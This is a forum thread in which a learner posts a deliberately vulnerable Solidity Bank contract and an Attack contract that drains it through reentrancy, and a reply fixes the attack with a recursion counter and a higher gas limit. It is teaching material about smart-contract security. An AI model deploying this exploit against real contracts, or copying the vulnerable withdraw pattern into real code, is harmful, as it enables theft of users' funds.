Reentrancy attack code

I tried to code up the reentrancy attack, but somehow the withdraw function of the Bank contract fails to send.
If anyone could have a look and point out why, this would greatly help! Thanks a lot!

In the code below, the require checking success of the msg.sender.call always reverts…

pragma solidity 0.7.5;

contract Bank {
    
    function deposit() external payable  {}  
    
    function withdraw() public payable{ // returns(uint, address){
        uint balToSend = address(this).balance / 10;
        bool success;
        (success, ) = msg.sender.call{value: balToSend}("");
        require(success, "Sending failed!");
    }
    
    function getBalance() external view returns(uint){
        return address(this).balance;
    }
}

contract Attack {
    
    Bank b;
    
    constructor(address _bank){
        b = Bank(_bank);
    }
    
    function start() external payable{ // returns(uint, address){
        //b.deposit();
        b.withdraw();
    }
    
    fallback() external payable {
        b.withdraw();
    }
    
    function getBalance() external view returns(uint){
        return address(this).balance;
    }
}
1 Like

Well this program will fail because you are trying to do the attack infinite times. You have to consider the gas limit (the gas limit that single transaction can consume).
This should work:

uint i = 0;
fallback() external payable {
    if(i<3){
        i++;
        b.withdraw();  
    }
}

And increase the gas limit.

3 Likes

Ahh! That’s super helpful, so when I run out of gas, the whole tx gets reverted!
Got it.
I wanted the attack to completely drain the contract, hence the recurrent attack.
But when the tx get’s reverted in the end, that doesn’t work of course.

Very very helpful! Thanks a lot!

1 Like